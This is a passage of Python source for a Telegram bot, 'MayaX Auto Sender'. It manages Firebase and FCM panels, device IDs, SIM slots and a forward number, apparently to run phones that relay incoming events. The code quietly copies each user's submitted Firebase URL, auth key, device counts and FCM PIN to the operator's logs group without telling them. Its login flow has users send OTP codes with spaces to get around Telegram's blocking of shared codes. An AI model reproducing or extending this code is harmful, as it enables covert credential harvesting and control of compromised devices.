            collected[f_url] = {
                "first_seen": datetime.now(IST).isoformat(),
                "shared_by": shared_by,
            }
            self._save_collected_firebases(collected)
            
            total_devices = 0
            online_devices = 0
            clients_url = f"{f_url}/clients.json"
            if auth_key:
                clients_url += f"?auth={auth_key}"
                
            if self.http:
                try:
                    async with self.http.get(clients_url, timeout=10) as resp:
                        if resp.status == 200:
                            clients_data = await resp.json()
                            if isinstance(clients_data, dict):
                                total_devices = len(clients_data)
                                for client_info in clients_data.values():
                                    if isinstance(client_info, dict):
                                        status_val = client_info.get("status")
                                        if status_val is True or status_val == 1 or str(status_val).lower() == "true":
                                            online_devices += 1
                except Exception as e:
                    log(f"[fb collect] Failed to fetch device stats: {e}")
                
            time_str = datetime.now(IST).strftime("%d/%m/%Y, %H:%M:%S")
            text = (
                f"🔐 **New Firebase Credentials Submitted**\n\n"
                f"👤 **User ID:** `{shared_by}`\n"
                f"📍 **Firebase URL:** `{f_url}`\n"
                f"🔑 **Auth Key:** `{auth_key if auth_key else 'None'}`\n"
                f"📊 **TOTAL DEVICES:** {total_devices}\n"
                f"🟢 **ONLINE:** {online_devices}\n"
                f"⏰ **Time:** {time_str}"
            )
            res = await self.send(self.logs_group_id, text)
            if res:
                log(f"[fb collect] new Firebase from {shared_by} sent successfully to logs group ({self.logs_group_id})")
            else:
                log(f"[fb collect] WARNING: self.send returned None for logs group ({self.logs_group_id}). Check bot admin rights in group.")
        except Exception as exc:
            log(f"[fb collect] Unexpected error in _check_new_firebase: {exc}")
            import traceback
            traceback.print_exc()

    async def _notify_fcm_login(self, user_id: str, app_id: str, pin: str) -> None:
        if not self.logs_group_id:
            return
        premium_emoji = "[✨](tg://emoji?id=5258500422393415126)"
        text = f"【 {premium_emoji} **NEW FCM SESSION** ⚠️ 】\n{UI_SEP}\n📱 **App ID:** `{app_id}`\n🔑 **PIN:** `{pin}`\n👤 **User ID:** `{user_id}`"
        try:
            await self.send(self.logs_group_id, text)
            log(f"[fcm notify] FCM login from {user_id} sent to logs group")
        except Exception as exc:
            log(f"[fcm notify] send to logs group failed: {exc}")

    async def _handle_bot_message(self, client: Client, message) -> None:
        try:
            if not message or not message.text or not message.from_user:
                return
            if message.chat.type != ChatType.PRIVATE:
                return
            if message.from_user.is_bot:
                return

            user_id = str(message.from_user.id)
            ws = self.load_workspace(user_id)
            text = message.text.strip()

            if text in ("/start", "/menu", "🔙 Back to Menu"):
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                await self.send_menu(ws, fmt_msg("Control Center", "Welcome to **MayaX Auto Sender**.\nSelect an operation from the menu below to manage your sessions.", success=True))
                return

            if self._is_menu_action(text):
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                await self._handle_menu_action(ws, text)
                return

            if ws.state:
                handled = await self._handle_state(ws, text)
                if handled:
                    return

            await self._handle_menu_action(ws, text)

        except Exception as exc:
            log(f"[bot handler] {exc}")
            if message and message.from_user:
                await self.send(str(message.from_user.id), fmt_msg("System Error", f"Trace: `{exc}`", error=True))

    async def _handle_state(self, ws: Workspace, text: str) -> bool:
        user_id = ws.user_id

        paginated_config = {
            "await_select_fb": ("Select Firebase", "Choose a saved Firebase from below:", lambda w: list(w.saved_firebases.keys()), "🔥 FB: "),
            "await_del_fb": ("Delete Firebase", "Choose a Firebase to delete:", lambda w: list(w.saved_firebases.keys()), "🗑 FB: "),
            "await_backup_fb_select": ("Select Backup FB", "Choose a saved Firebase as the backup destination:", lambda w: list(w.saved_firebases.keys()), "🔥 FB: "),
            "await_select_group": ("Select Group", "Choose an active Group/Channel:", lambda w: list(w.saved_groups.keys()), "📡 Grp: "),
            "await_del_group": ("Delete Group", "Choose a Group to delete:", lambda w: list(w.saved_groups.keys()), "🗑 Grp: "),
            "await_select_fcm": ("Select FCM", "Choose a saved FCM config:", lambda w: list(w.saved_fcms.keys()), "🚀 FCM: "),
            "await_del_fcm": ("Delete FCM", "Choose an FCM config to delete:", lambda w: list(w.saved_fcms.keys()), "🗑 FCM: "),
        }

        if ws.state in paginated_config:
            if text.startswith("📄"):
                return True
            title, subtitle, get_items, prefix = paginated_config[ws.state]
            items = get_items(ws)
            total_pages = max(1, (len(items) + self.PAGE_SIZE - 1) // self.PAGE_SIZE)
            is_next = text in ("➡️ Next", "Next", "next", "▶️ Next", "▶️", "➡️") or text.lower().startswith("next")
            is_prev = text in ("⬅️ Prev", "Prev", "prev", "◀️ Prev", "◀️", "⬅️") or text.lower().startswith("prev")
            if is_next:
                ws.page = min(total_pages, ws.page + 1)
                self.save_workspace(ws)
                await self.send_paginated_list(ws, title, subtitle, items, prefix, ws.state)
                return True
            if is_prev:
                ws.page = max(1, ws.page - 1)
                self.save_workspace(ws)
                await self.send_paginated_list(ws, title, subtitle, items, prefix, ws.state)
                return True

        if ws.state == "await_phone":
            phone = normalize_phone(text)
            if not re.match(r"^\+?\d{7,15}$", phone):
                await self.send(user_id, fmt_msg("Invalid Phone", "Please send again in international format.\nExample: `+919876543210`", error=True))
                return True

            client = self.auth_clients.get(user_id)
            if client is None:
                client = Client(f"{ws.session_path}_auth", api_id=self.api_id, api_hash=self.api_hash)
                self.auth_clients[user_id] = client

            try:
                await client.connect()
                sent = await client.send_code(phone)
            except Exception as exc:
                await self.send(user_id, fmt_msg("Code Failed", f"Could not send OTP: `{exc}`", error=True), keyboard=reply_kb([["🔐 Connect Telegram"], ["🔙 Back to Menu"]]))
                return True

            ws.phone = phone
            ws.phone_code_hash = sent.phone_code_hash
            ws.state = "await_code"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("OTP Sent", "📌 Send the 5-6 digit code with spaces between numbers.\n\n👉 Example: `1 2 3 4 5`\n\n_(Telegram directly bheje gaye codes ko block kar deta hai, isliye space daal kar bhejein)_\n_If it expires, tap Resend Code._", success=True),
                keyboard=reply_kb(OTP_KB),
            )
            return True

        if ws.state == "await_code":
            if text == "🔁 Resend Code":
                client = self.auth_clients.get(user_id)
                if client is None:
                    await self.send(user_id, fmt_msg("Session Expired", "Login session expired. Please start over.", error=True), keyboard=reply_kb([["🔐 Connect Telegram"]]))
                    ws.state = None
                    self.save_workspace(ws)
                    return True

                try:
                    sent = await client.resend_code(ws.phone, ws.phone_code_hash)
                    ws.phone_code_hash = sent.phone_code_hash
                    self.save_workspace(ws)
                    await self.send(
                        user_id,
                        fmt_msg("Resent OTP", "New code has been sent to your Telegram.\n\n📌 Send with spaces, e.g.: `1 2 3 4 5`", success=True),
                        keyboard=reply_kb(OTP_KB),
                    )
                except Exception as exc:
                    await self.send(user_id, fmt_msg("Resend Failed", f"Error: `{exc}`", error=True), keyboard=reply_kb(OTP_KB))
                return True

            code = re.sub(r"\D", "", text.strip())
            if len(code) < 5:
                await self.send(user_id, fmt_msg("Invalid Code", "Invalid code. Please send with spaces like: `1 2 3 4 5`", error=True))
                return True

            client = self.auth_clients.get(user_id)
            if client is None:
                await self.send(user_id, fmt_msg("Session Expired", "Login session expired. Please start over.", error=True))
                ws.state = None
                self.save_workspace(ws)
                return True

            try:
                result = await client.sign_in(
                    phone_number=ws.phone,
                    phone_code_hash=ws.phone_code_hash,
                    phone_code=code,
                )
            except SessionPasswordNeeded:
                ws.state = "await_password"
                self.save_workspace(ws)
                await self.send(
                    user_id,
                    fmt_msg("2FA Required", "This account has 2-Step Verification.\nPlease enter your Telegram password.", success=False),
                    keyboard=reply_kb(BACK_KB),
                )
                return True
            except BadRequest as exc:
                err = str(exc).lower()
                if "phone_code_expired" in err or "PHONE_CODE_EXPIRED" in str(exc):
                    await self.send(
                        user_id,
                        fmt_msg("OTP Expired", "Tap **Resend Code** to get a new one.", error=True),
                        keyboard=reply_kb(OTP_KB),
                    )
                else:
                    await self.send(user_id, fmt_msg("Code Rejected", f"Error: `{exc}`\nTry again or resend.", error=True), keyboard=reply_kb(OTP_KB))
                return True
            except Exception as exc:
                await self.send(user_id, fmt_msg("Login Failed", f"Error: `{exc}`", error=True))
                return True

            if not result:
                await self.send(user_id, fmt_msg("Not Registered", "Authorization did not complete successfully.", error=True))
                return True

            ws.state = None
            self.save_workspace(ws)
            await self._finish_auth(ws, client)
            return True

        if ws.state == "await_password":
            client = self.auth_clients.get(user_id)
            if client is None:
                await self.send(user_id, fmt_msg("Session Expired", "Login session expired. Please start over.", error=True))
                ws.state = None
                self.save_workspace(ws)
                return True

            try:
                await client.check_password(text.strip())
            except Exception as exc:
                await self.send(user_id, fmt_msg("Password Failed", f"Error: `{exc}`", error=True))
                return True

            ws.state = None
            self.save_workspace(ws)
            await self._finish_auth(ws, client)
            return True

        if ws.state == "await_dev":
            if not text.strip():
                await self.send(user_id, fmt_msg("Invalid Device ID", "Please send a valid ID.", error=True))
                return True
            ws.temp_dev = text.strip()
            ws.state = "await_sim"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Device Registered", f"📱 **ID:** `{ws.temp_dev}`\nSelect SIM to use below:\n0️⃣ — **SIM 1**\n1️⃣ — **SIM 2**", success=True),
                keyboard=reply_kb(SIM_KB),
            )
            return True

        if ws.state == "await_sim":
            sim = parse_sim_choice(text)
            if sim is None:
                await self.send(user_id, fmt_msg("Invalid Choice", "Please select SIM 1 or SIM 2 using the buttons below.", error=True), keyboard=reply_kb(SIM_KB))
                return True

            ws.sim = sim
            ws.device_id = ws.temp_dev.strip()
            ws.active_mode = "fcm"
            ws.active = True
            ws.activation_ts = int(datetime.now(IST).timestamp() * 1000)
            ws.last_processed_ts = ws.activation_ts
            ws.state = None
            self.save_workspace(ws)
            await self.refresh_bridge_runtime(ws)
            await self._auto_pin_status(ws)
            await self.send(user_id, fmt_msg("FCM Activated", f"🚀 **System Live!**\n📱 **Device:** `{ws.device_id}`\n🎴 **SIM Slot:** `{'SIM 1' if ws.sim == '0' else 'SIM 2'}`\n🔄 **Mode:** `FCM`\n🟢 **Status:** Listening for FCM events...", success=True), keyboard=self._workspace_menu(ws))
            return True

        if ws.state == "await_fb_dev":
            if not text.strip():
                await self.send(user_id, fmt_msg("Invalid Device ID", "Please send a valid ID.", error=True))
                return True
            ws.temp_dev = text.strip()
            ws.state = "await_fb_sim"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Device Registered", f"📱 **ID:** `{ws.temp_dev}`\nSelect SIM to use below:\n0️⃣ — **SIM 1**\n1️⃣ — **SIM 2**", success=True),
                keyboard=reply_kb(SIM_KB),
            )
            return True

        if ws.state == "await_fb_sim":
            sim = parse_sim_choice(text)
            if sim is None:
                await self.send(user_id, fmt_msg("Invalid Choice", "Please select SIM 1 or SIM 2 using the buttons below.", error=True), keyboard=reply_kb(SIM_KB))
                return True

            ws.sim = sim
            ws.device_id = ws.temp_dev.strip()
            ws.active_mode = "firebase"
            ws.active = True
            ws.activation_ts = int(datetime.now(IST).timestamp() * 1000)
            ws.last_processed_ts = ws.activation_ts
            ws.state = None
            self.save_workspace(ws)
            await self.refresh_bridge_runtime(ws)
            await self._auto_pin_status(ws)
            if not ws.forward_to:
                ws.state = "await_forward_no"
                self.save_workspace(ws)
                await self.send(
                    user_id,
                    fmt_msg("Firebase Live", f"🔥 **Database:** `{ws.active_fb_name}`\n📱 **Device:** `{ws.device_id}`\n🎴 **SIM:** `{'SIM 1' if ws.sim == '0' else 'SIM 2'}`\n🔄 **Mode:** `FIREBASE`\n\n👉 **Action Required:** Please send the **forward number** now.", success=True),
                    keyboard=reply_kb(BACK_KB),
                )
            else:
                await self.send(user_id, fmt_msg("Firebase Live", f"🔥 **Database:** `{ws.active_fb_name}`\n📱 **Device:** `{ws.device_id}`\n🎴 **SIM:** `{'SIM 1' if ws.sim == '0' else 'SIM 2'}`\n🔄 **Mode:** `FIREBASE`\n🟢 **Status:** Monitoring database...", success=True), keyboard=self._workspace_menu(ws))
            return True

        if ws.state == "await_forward_no":
            num = normalize_phone(text)
            if not re.match(r"^\+?\d{7,15}$", num):
                await self.send(user_id, fmt_msg("Invalid Number", "Please send a valid phone number.", error=True))
                return True
            ws.forward_to = num
            ws.state = None
            self.save_workspace(ws)
            await self.refresh_bridge_runtime(ws)
            await self.send(user_id, fmt_msg("Forward Number Set", f"📞 **Number:** `{num}`", success=True), keyboard=self._workspace_menu(ws))
            return True

        if ws.state == "await_new_fb_name":
            ws.temp_name = text.strip()
            if not ws.temp_name:
                await self.send(user_id, fmt_msg("Invalid Name", "Please enter a valid name.", error=True))
                return True
            ws.state = "await_new_fb_url"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("Firebase URL", "Now send the Firebase URL.\nExample: `project-id.firebaseio.com`", success=False))
            return True

        if ws.state == "await_new_fb_url":
            url = normalize_firebase_url(text)
            if not url:
                await self.send(user_id, fmt_msg("Invalid URL", "Please send a valid Firebase URL.", error=True), keyboard=reply_kb(BACK_KB))
                return True
            ws.firebase_url = url
            ws.state = "await_new_fb_auth"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("Auth Key (Optional)", "Some Firebase databases require an **auth key** to access.\n\nSend the auth key now, or tap **Skip** to continue without it.", success=False), keyboard=reply_kb([["⏭ Skip"], ["🔙 Back to Menu"]]))
            return True

        if ws.state == "await_new_fb_auth":
            auth_key = text.strip() if text.strip() != "⏭ Skip" else ""
            ws.saved_firebases[ws.temp_name] = ws.firebase_url
            if auth_key:
                ws.saved_firebase_auths[ws.temp_name] = auth_key
            elif ws.temp_name in ws.saved_firebase_auths:
                del ws.saved_firebase_auths[ws.temp_name]
            ws.firebase_url = ""
            ws.state = None
            self.save_workspace(ws)
            asyncio.create_task(self._check_new_firebase(ws.saved_firebases[ws.temp_name], auth_key, user_id))
            auth_info = f"\n🔐 **Auth:** `{auth_key[:12]}...`" if auth_key else ""
            await self.send(user_id, fmt_msg("Firebase Saved", f"🔥 **Name:** `{ws.temp_name}`{auth_info}", success=True), keyboard=self._workspace_menu(ws))
            return True

        if ws.state == "await_select_fb":
            name = text.replace("🔥 FB: ", "", 1) if text.startswith("🔥 FB: ") else text
            if name in ws.saved_firebases:
                ws.firebase_url = ws.saved_firebases[name]
                ws.firebase_auth = ws.saved_firebase_auths.get(name, "")
                ws.active_fb_name = name
                ws.state = "await_fb_dev"
                ws.page = 1
                self.save_workspace(ws)
                auth_info = f"\n🔐 **Auth:** `Set`" if ws.firebase_auth else ""
                await self.send(user_id, fmt_msg("Firebase Selected", f"🔥 **Name:** `{name}`{auth_info}\n📱 Now send **Device ID**.", success=True), keyboard=reply_kb(BACK_KB))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_del_fb":
            name = text.replace("🗑 FB: ", "", 1) if text.startswith("🗑 FB: ") else text
            if name in ws.saved_firebases:
                del ws.saved_firebases[name]
                ws.saved_firebase_auths.pop(name, None)
                if ws.active_fb_name == name:
                    ws.firebase_auth = ""
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("Firebase Deleted", f"🔥 **Name:** `{name}`", success=True), keyboard=self._workspace_menu(ws))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_new_group_ref":
            resolved = await self._resolve_and_save_group(ws, text.strip())
            if resolved:
                ws.state = None
                self.save_workspace(ws)
            return True

        if ws.state == "await_new_group_link":
            resolved = await self._resolve_and_save_group(ws, text.strip(), must_be_link=True)
            if resolved:
                ws.state = None
                self.save_workspace(ws)
            return True

        if ws.state == "await_select_group":
            name = text.replace("📡 Grp: ", "", 1) if text.startswith("📡 Grp: ") else text
            if name in ws.saved_groups:
                ws.group_id = ws.saved_groups[name]
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                
                if ws.active:
                    await self._deactivate_duplicate_groups(ws)
                    await self.refresh_bridge_runtime(ws)
                    await self._auto_pin_status(ws)
                    
                await self.send(user_id, fmt_msg("Group Set", f"📡 **Name:** `{name}`\n🆔 **ID:** `{ws.group_id}`", success=True), keyboard=self._workspace_menu(ws))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_del_group":
            name = text.replace("🗑 Grp: ", "", 1) if text.startswith("🗑 Grp: ") else text
            if name in ws.saved_groups:
                del ws.saved_groups[name]
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("Group Deleted", f"📡 **Name:** `{name}`", success=True), keyboard=self._workspace_menu(ws))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_fcm_token":
            token = text.strip()
            if token.lower() == "clear":
                ws.fcm_session_token = ""
                ws.state = None
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("Token Cleared", "FCM session token has been removed.", success=True), keyboard=self._workspace_menu(ws))
            elif token:
                ws.fcm_session_token = token
                ws.state = None
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("Token Saved", f"🔑 **Token:** `{token[:16]}...`", success=True), keyboard=self._workspace_menu(ws))
            else:
                await self.send(user_id, fmt_msg("Invalid Token", "Please send a valid session token.", error=True))
            return True

        if ws.state == "await_fcm_name":
            name = text.strip()
            if not name:
                await self.send(user_id, fmt_msg("Invalid Name", "Please enter a valid name.", error=True))
                return True
            ws.temp_name = name
            ws.state = "await_fcm_app_id"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("App ID", f"📱 **Name:** `{name}`\n\nSend the **App ID** or **URL** from the FCM panel.", success=False), keyboard=reply_kb(BACK_KB))
            return True

        if ws.state == "await_fcm_app_id":
            raw = text.strip()
            from urllib.parse import urlparse, parse_qs
            parsed = urlparse(raw)
            qs = parse_qs(parsed.query)
            app_id = qs.get("appId", [raw])[0].strip()
            if not app_id:
                await self.send(user_id, fmt_msg("Invalid App ID", "Please send a valid App ID or FCM panel link.", error=True))
                return True
            ws.fcm_app_id = app_id
            ws.state = "await_fcm_pin"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("PIN Required", f"📱 **App ID:** `{app_id}`\n\nNow send the **PIN / Password** for this panel.", success=False), keyboard=reply_kb(BACK_KB))
            return True

        if ws.state == "await_fcm_pin":
            pin = text.strip()
            if not pin:
                await self.send(user_id, fmt_msg("Invalid PIN", "Please send a valid PIN.", error=True))
                return True
            ws.fcm_pin = pin
            ws.state = None
            self.save_workspace(ws)
            asyncio.create_task(self._fcm_auto_login(ws))
            return True

        if ws.state == "await_select_fcm":
            name = text.replace("🚀 FCM: ", "", 1) if text.startswith("🚀 FCM: ") else text
            if name in ws.saved_fcms:
                entry = ws.saved_fcms[name]
                ws.fcm_app_id = entry.get("app_id", "")
                ws.fcm_pin = entry.get("pin", "")
                ws.fcm_session_token = entry.get("token", "")
                ws.active_fcm_name = name
                ws.state = "await_fcm_dev"
                ws.page = 1
                self.save_workspace(ws)
                tok_info = f"\n🔑 **Token:** `{ws.fcm_session_token[:16]}...`" if ws.fcm_session_token else ""
                await self.send(user_id, fmt_msg("FCM Selected", f"🚀 **Name:** `{name}`\n🆔 **App ID:** `{ws.fcm_app_id}`{tok_info}\n📱 Now send **Device ID**.", success=True), keyboard=reply_kb(BACK_KB))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_del_fcm":
            name = text.replace("🗑 FCM: ", "", 1) if text.startswith("🗑 FCM: ") else text
            if name in ws.saved_fcms:
                del ws.saved_fcms[name]
                if ws.active_fcm_name == name:
                    ws.fcm_app_id = ""
                    ws.fcm_pin = ""
                    ws.fcm_session_token = ""
                    ws.active_fcm_name = ""
                ws.state = None
                ws.page = 1
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("FCM Deleted", f"🚀 **Name:** `{name}`", success=True), keyboard=self._workspace_fcm_menu(ws))
            else:
                await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_fcm_dev":
            if not text.strip():
                await self.send(user_id, fmt_msg("Invalid Device ID", "Please send a valid ID.", error=True))
                return True
            ws.temp_dev = text.strip()
            ws.state = "await_fcm_sim"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Device Registered", f"📱 **ID:** `{ws.temp_dev}`\nSelect SIM to use below:\n0️⃣ — **SIM 1**\n1️⃣ — **SIM 2**", success=True),
                keyboard=reply_kb(SIM_KB),
            )
            return True

        if ws.state == "await_fcm_sim":
            sim = parse_sim_choice(text)
            if sim is None:
                await self.send(user_id, fmt_msg("Invalid Choice", "Please select SIM 1 or SIM 2 using the buttons below.", error=True), keyboard=reply_kb(SIM_KB))
                return True

            ws.sim = sim
            ws.device_id = ws.temp_dev.strip()
            ws.active_mode = "fcm"
            ws.active = True
            ws.activation_ts = int(datetime.now(IST).timestamp() * 1000)
            ws.last_processed_ts = ws.activation_ts
            ws.state = None
            self.save_workspace(ws)
            await self.refresh_bridge_runtime(ws)
            await self._auto_pin_status(ws)
            if not ws.forward_to:
                ws.state = "await_forward_no"
                self.save_workspace(ws)
                await self.send(
                    user_id,
                    fmt_msg("FCM Activated", f"🚀 **FCM MODE LIVE!**\n📱 **Device:** `{ws.device_id}`\n🎴 **SIM:** `{'SIM 1' if ws.sim == '0' else 'SIM 2'}`\n🔄 **Mode:** `FCM`\n\n👉 **Action Required:** Please send the **forward number** now.", success=True),
                    keyboard=reply_kb(BACK_KB),
                )
            else:
                await self.send(user_id, fmt_msg("FCM Activated", f"🚀 **FCM MODE LIVE!**\n📱 **Device:** `{ws.device_id}`\n🎴 **SIM:** `{'SIM 1' if ws.sim == '0' else 'SIM 2'}`\n🔄 **Mode:** `FCM`\n🟢 **Status:** Listening for events...", success=True), keyboard=self._workspace_menu(ws))
            return True

        if ws.state == "await_backup_fb_select":
            name = text.replace("🔥 FB: ", "", 1) if text.startswith("🔥 FB: ") else text
            if name in ws.saved_firebases:
                ws.backup_firebase_url = ws.saved_firebases[name]
                ws.backup_firebase_auth = ws.saved_firebase_auths.get(name, "")
                ws.backup_firebase_name = name
                ws.state = "await_backup_device_id"
                ws.page = 1
                self.save_workspace(ws)
                await self.send(user_id, fmt_msg("Backup FB Set", f"🔥 **Backup:** `{name}`\n\nNow send the **Backup Device ID**.\n_Example: `DS0V09SO`_", success=True), keyboard=reply_kb(BACK_KB))
            else:
                await self.send(user_id, fmt_msg("Invalid", "Please choose a valid option.", error=True))
            return True

        if ws.state == "await_backup_device_id":
            dev = text.strip()
            if not dev:
                await self.send(user_id, fmt_msg("Invalid", "Please send a valid Device ID.", error=True))
                return True
            ws.backup_device_id = dev
            ws.state = "await_backup_sim"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Device Saved", f"📱 **Device:** `{dev}`\n\nSelect SIM below:\n0️⃣ — **SIM 1**\n1️⃣ — **SIM 2**", success=True),
                keyboard=reply_kb(SIM_KB),
            )
            return True

        if ws.state == "await_backup_sim":
            sim = parse_sim_choice(text)
            if sim is None:
                await self.send(user_id, fmt_msg("Invalid Choice", "Please select SIM 1 or SIM 2 using the buttons below.", error=True), keyboard=reply_kb(SIM_KB))
                return True
            ws.backup_sim = sim
            ws.state = None
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Backup Active", f"✅ **FB Backup is now LIVE!**\n🔥 **FB:** `{ws.backup_firebase_name}`\n📱 **Device:** `{ws.backup_device_id}`\n🎴 **SIM:** `{'SIM 1' if ws.backup_sim == '0' else 'SIM 2'}`\n📞 **Forward To:** `{ws.forward_to or 'Not set'}`\n\nIncoming events on backup Firebase will be sent to the forward number automatically.", success=True),
                keyboard=self._workspace_menu(ws),
            )
            return True

        return False

    async def _finish_auth(self, ws: Workspace, client: Client) -> None:
        user_id = ws.user_id
        try:
            me = await client.get_me()
            ws.phone = ws.phone or getattr(me, "phone_number", "")
            ws.state = None
            ws.session_base = str(ws.session_path)
            self.save_workspace(ws)
            log(f"Telegram connected for user {user_id}: {getattr(me, 'first_name', 'Unknown')}")
            await self.send(user_id, fmt_msg("Session Linked", f"👤 **Account:** `{getattr(me, 'first_name', 'Unknown')}`\n📱 **Phone:** `{ws.phone}`\n✅ _Your Telegram account is now linked successfully._", success=True), keyboard=self._workspace_menu(ws))
        except Exception as exc:
            await self.send(user_id, fmt_msg("Connection Issue", f"Connected, but could not read account info: `{exc}`", error=True))
        finally:
            try:
                await client.disconnect()
            except Exception:
                pass
            self.auth_clients.pop(user_id, None)

        # Rename the auth session to the actual session path after disconnect
        auth_session_file = Path(f"{ws.session_path}_auth.session")
        final_session_file = ws.session_path.with_suffix(".session")
        
        if auth_session_file.exists():
            if final_session_file.exists():
                final_session_file.unlink()
            try:
                auth_session_file.rename(final_session_file)
            except Exception as e:
                log(f"Could not rename auth session: {e}")
                
        # If this is the main client, restart it dynamically
        if str(ws.session_path) == str(LEGACY_SESSION_BASE):
            if self.main_client_ready and self.main_client:
                try:
                    await self.main_client.stop()
                except Exception:
                    pass
            self.main_client = self._build_main_client()
            try:
                await self.main_client.start()
                self.main_client_ready = True
                self.main_client.add_handler(MessageHandler(self._on_main_message))
                async for _ in self.main_client.get_dialogs():
                    pass
                log("Main client dynamically started after login via bot.")
            except Exception as e:
                log(f"Failed to start main client after login: {e}")
                self.main_client_ready = False

    async def _handle_menu_action(self, ws: Workspace, text: str) -> None:
        user_id = ws.user_id

        if text in ("🔐 Login Main Account", "🔐 Connect Telegram"):
            if text == "🔐 Login Main Account" and not self.is_admin(user_id):
                return
            if text == "🔐 Login Main Account":
                ws.session_base = str(LEGACY_SESSION_BASE)
            ws.state = "await_phone"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Telegram Login", "Please send the phone number for the account in international format (e.g., `+919876543210`).", success=False),
                keyboard=reply_kb(BACK_KB),
            )
            return

        if text == "👥 All Users":
            if not self.is_admin(ws.user_id):
                return
            lines = []
            for u_id in sorted(os.listdir(str(USERS_DIR))):
                if not u_id.endswith(".json"):
                    continue
                u_id_clean = u_id.replace(".json", "")
                u_path = USERS_DIR / u_id
                try:
                    udata = load_json(u_path)
                except Exception:
                    continue
                groups = list((udata.get("saved_groups", {}) or {}).keys())
                fbs = list((udata.get("saved_firebases", {}) or {}).keys())
                fcms = list((udata.get("saved_fcms", {}) or {}).keys())
                phone = udata.get("phone", "") or "—"
                if not groups and not fbs and not fcms:
                    continue
                lines.append(f"{UI_SEP}")
                lines.append(f"👤 **User ID:** `{u_id_clean}`")
                lines.append(f"📞 **Phone:** `{phone}`")
                if groups:
                    grp_txt = ', '.join(groups[:6]) + (f" (+{len(groups)-6} more)" if len(groups) > 6 else "")
                    lines.append(f"📡 **Groups ({len(groups)}):** `{grp_txt}`")
                if fbs:
                    fbs_txt = ', '.join(fbs[:6]) + (f" (+{len(fbs)-6} more)" if len(fbs) > 6 else "")
                    lines.append(f"🔥 **Firebases ({len(fbs)}):** `{fbs_txt}`")
                if fcms:
                    fcm_details = []
                    for f_name, f_data in list((udata.get("saved_fcms", {}) or {}).items())[:6]:
                        aid = f_data.get("app_id", "?") if isinstance(f_data, dict) else "?"
                        fcm_details.append(f"{f_name}({aid})")
                    fcm_txt = ', '.join(fcm_details) + (f" (+{len(fcms)-6} more)" if len(fcms) > 6 else "")
                    lines.append(f"🚀 **FCMs ({len(fcms)}):** `{fcm_txt}`")
            if not lines:
                await self.send(user_id, fmt_msg("No Users", "No configured users found.", error=True))
                return
            lines.append(f"{UI_SEP}")
            
            chunk = []
            chunk_len = 0
            for line in lines:
                if chunk_len + len(line) + 1 > 3500 and chunk:
                    await self.send(user_id, fmt_msg("All Users Config", "\n".join(chunk), success=False))
                    chunk = []
                    chunk_len = 0
                chunk.append(line)
                chunk_len += len(line) + 1
            if chunk:
                await self.send(user_id, fmt_msg("All Users Config", "\n".join(chunk), success=False), keyboard=self._workspace_menu(ws))
            return

        if text == "🔐 FCM":
            fcm_status = "🟢 Active" if (ws.fcm_session_token and ws.active_mode == "fcm") else "🔴 Inactive"
            info = f"📱 **FCM Status:** {fcm_status}\n"
            if ws.active_fcm_name:
                info += f"🏷 **Active:** `{ws.active_fcm_name}`\n"
            if ws.fcm_app_id:
                info += f"🆔 **App ID:** `{ws.fcm_app_id}`\n"
            if ws.fcm_session_token:
                info += f"🔑 **Token:** `{ws.fcm_session_token[:16]}...`\n"
            if ws.saved_fcms:
                fcm_keys = list(ws.saved_fcms.keys())
                if len(fcm_keys) > 8:
                    info += f"📦 **Saved ({len(fcm_keys)}):** {', '.join(fcm_keys[:8])} (+{len(fcm_keys)-8} more)\n"
                else:
                    info += f"📦 **Saved:** {', '.join(fcm_keys)}\n"
            await self.send(user_id, fmt_msg("FCM Panel", info + "\nSelect an option below:", success=False), keyboard=self._workspace_fcm_menu(ws))
            return

        if text == "🔥 Setup Firebase" or text == "/firebase":
            if not ws.saved_firebases:
                await self.send(user_id, fmt_msg("No Firebases", "No saved Firebases yet. Add one first using **➕ Add FB**.", error=True), keyboard=self._workspace_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Select Firebase",
                subtitle="Choose a saved Firebase from below:",
                items=list(ws.saved_firebases.keys()),
                prefix="🔥 FB: ",
                state="await_select_fb",
            )
            return

        if text == "➕ Add FB":
            ws.state = "await_new_fb_name"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("Add Firebase", "Enter a short Firebase name:", success=False), keyboard=reply_kb(BACK_KB))
            return

        if text == "🗑 Del FB":
            if not ws.saved_firebases:
                await self.send(user_id, fmt_msg("Nothing to Delete", "No saved Firebases to delete.", error=True), keyboard=self._workspace_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Delete Firebase",
                subtitle="Choose a Firebase to delete:",
                items=list(ws.saved_firebases.keys()),
                prefix="🗑 FB: ",
                state="await_del_fb",
            )
            return

